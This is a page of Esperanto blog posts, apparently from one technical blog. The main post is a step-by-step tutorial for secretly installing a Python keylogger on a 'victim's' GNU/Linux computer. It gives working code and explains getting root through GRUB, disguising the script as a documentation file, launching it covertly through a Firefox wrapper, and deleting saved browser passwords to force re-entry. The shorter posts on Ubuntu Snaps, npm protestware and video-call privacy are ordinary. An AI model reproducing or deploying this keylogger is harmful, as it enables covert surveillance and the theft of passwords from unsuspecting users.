Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.

Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.

Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.

Unue, oni devas instali la pynput-bibliotekon per...

sudo pip install pynput

Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon compile_docs.py aŭ iun similan, por ne altiri la atenton. Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti, ke ri ne rimarku tion, kion ni faras.

Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Ni povas alinomi firefox1 al firefox.bin kaj krei la jenan dosieron nomitan firefox.

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "$@"

Por scii kiu firefox-dosiero estas plenumita, kiam ni premas ĝian bildeton, ni devas iri al /usr/share/applications, eniri la dosieron firefox.desktop (aŭ firefox-esr.desktop) kaj serĉi la linion, kiu komenciĝas per Exec.

Sekve ni devus doni al ĝi skribpermesojn por aliaj uzantoj malsamaj ol root al la dosierujo, kie ni konservos la klavaroregistrilon:

sudo chmod o+w /usr/share/doc/python3

Finfine ni devus atendi ĝis la viktimo uzu la komputilo por atingi riajn pasvortojn aŭ ĉian ajn informon, kiun ri tajpu, kiun ni volas akiri. La registroj de klavoj estos konservita en la dosiero /usr/share/doc/python3/log. Sed estu singarda: la dosiero povus preni multe da spaco, se vi ne forigas ĝin de tempo al tempo; do plej bone estus malinstali la klavaroregistrilon post la akiro de la informoj, kiujn vi bezonas. Alia opcio estas agordi ĝin, por ke ĝi sendu la informon de tajpado per retpoŝto anstataŭ konservi ĝin en dosieron. Tiel ĝi ne prenus multe da spaco en la viktimula komputilo; sed tiu metodo postulas, ke ni uzu retadreson2.

Se la viktimo havas la pasvortojn konservitajn en la retumilo kaj ne bezonas skribi ilin denove, ni povas forigi la dosieron de pasvortoj, por ke ĝi estu devigita enigi ilin denove. Resume, ni povas ruze akiri multe da informo, speciale se ni uzas ĉi tiun metodon kontraŭ amatoraj uzantoj, kiuj ne multe suspektos. Por progresintaj uzantoj eble plej bonas kompili la compile_docs.py-programon per Nuitka, kiel mi montras en la sekva artikolo.


  1. En Debiano ni devus modifi la firefox-esr-dosieron. 

  2. La avantaĝo sendi la pasvortojn per retpoŝto estas, ke ni ne bezonas reveni al la komputilo de la viktimo por malfermi la dosieron de klavoprotokolo, sed ni ricevos la informojn de tempo al tempo per retpoŝto. 

Snap-oj en Ubuntu: malpli da sekureco kaj aŭtomataj ĝisdatigoj

Per sia versio 22.04, kiu estos eldonita la 21an de aprilo, Ubuntu igos, ke programoj uzu Snap-pakojn anstataŭ la .deb-aj. Tiuj pakoj aŭtomate ĝisdatiĝas sen iri tra prova fazo kiel okazas kun la pakoj de Debiano kaj aliaj distribuoj. En la kazo de la pako de Firefox, estas la skipo de Mozilla (ne Ubuntu), kiu decidas kiel kaj kiam la retumilo ĝisdatiĝas.

Firefox estas libera programaro, sed ĝi enhavas proprieterojn kiel Pocket. Mozilla povas per Snap aldoni aliajn similajn erojn kaj malagrablajn funkciojn.

La Snap-oj havas iujn avantaĝojn: ili permesas paki programon kun ĉiuj iliaj dependaĵoj, ili funkcias en ĉiuj distribuoj, ktp. Tamen ili malrapidigas la startigan procezon; ili estas multe pli malrapidaj, kiam ili estas plenumitaj unuafoje; ili okupas pli da spaco, ĉar ili enhavas bibliotekojn, kiuj povus esti uzitaj de pluraj programoj; ilia defaŭlta deponejo («aĉetejo») estas proprieta; ili postulas la uzon de systemd, ktp.

Se la uzo de la Snap-oj estus nedeviga, ne estus tiom da polemiko, sed Ubuntu trudis ilin por kelkaj pakoj, por kiuj ne plu estas .deb-a alternativo.

Alia provizoĉena atako en npm: EventSource polyfill

npm jam pruvis esti malsekura pako-administrilo — lastatempe per la fiprogramaro de node-ipc —. Alia biblioteko tre uzata, elŝutita pli ol 600 000 fojoj semajne per npm, nomita EventSource polyfill aldonis propagandajn mesaĝojn skribitajn en la rusa favore al la ukraina reĝimo direktajn al tiuj, kiuj havas sian horzonon agorditan kiel regionon de Rusio, eĉ malfermante fenestron en la retumilo kun la URL de kolekto de subskriboj kontraŭ la milito.

Ĝi montras falsajn mensaĝojn kiel «91 % el la ukrainaj plene subtenas la prezidanton Volodimir Zelenskij», sed la partopreno en la 2019aj elektoj estis 49,84 % kaj la partio de tiu politikisto atingis entute 6 307 793 balotilojn (43,16 %). Ĝi ankaŭ rekomendas aliri al la ĵurnalo de la BCC (brita ŝtata ĵurnalo) per Tor (ĉar ĝi estas cenzurita en Rusio) kiel fidinda fondo de informo.

Estu atenta pri la vivaj komunikoj! Ne forgesu vian privatecon

Pro la pliiĝo de la vivaj komunikoj verŝajne via labortablo nun ne estas tiel privata kiel antaŭe —kaj la korpa kaj la cifera—. Risko subtaskita de multaj homoj.

Se ni pensas kiel superulo, al ri eble ne amuzas vidi, ke la firma komputilo estas uzata por videludoj, pornografio aŭ ajn alio, kiun ri traktas kiel nedeca; aŭ vidi en la adresbreto retejojn, kiuj havas politikajn ideojn kontraŭajn al ria ekzemple.

Ideale oni uzas la komputilon de la firmo nur por aferoj de la firmo. Se ĉi tiu komputilo estas la sama ol la persona aŭ estas kunuzita, oni devas uzi specifan uzantan konton por la firmo, por ke al vidigi labortablon ne estu videblaj niaj dosieroj, la programoj uzitaj en nia libera tempo, nia reta historio, ktp.

Ĉar kvankam ni nur pensis montri nian diapozitivojn, ni senscie montras informon, kiam io fiaskas kaj ni eliras el la diapozitivoj. Homo antaŭvida estas pli valora: kiam io fiaskas, mi ne kompromitas mian privatecon, kiam mi uzas uzantan konton specifan por la laboro.

Ne bezonas diri, ke la reala labortablo kaj ĝia ĉirkaŭaĵo, dum ni troviĝas en videkunveno estas alia risko. Krome la homoj kun kiuj ni loĝas povas kompromiti nian privatecon. Oni devas do trovi horarojn kun malpli homoj hejme, elekti zorge la ejon atentante tion, kion la filmilo povas vidi, kaj fari la ciferecan komunikon en la plej malbrua ejo.

Resume la retaj komunikoj per reta konferenco supozas multajn riskojn por la privateco, pri kiu ni devas atenti. Tre necesas, koni la riskojn, kiujn ĝi havas, por eviti ĝin, eĉ kiam okazas neatenditaj problemoj.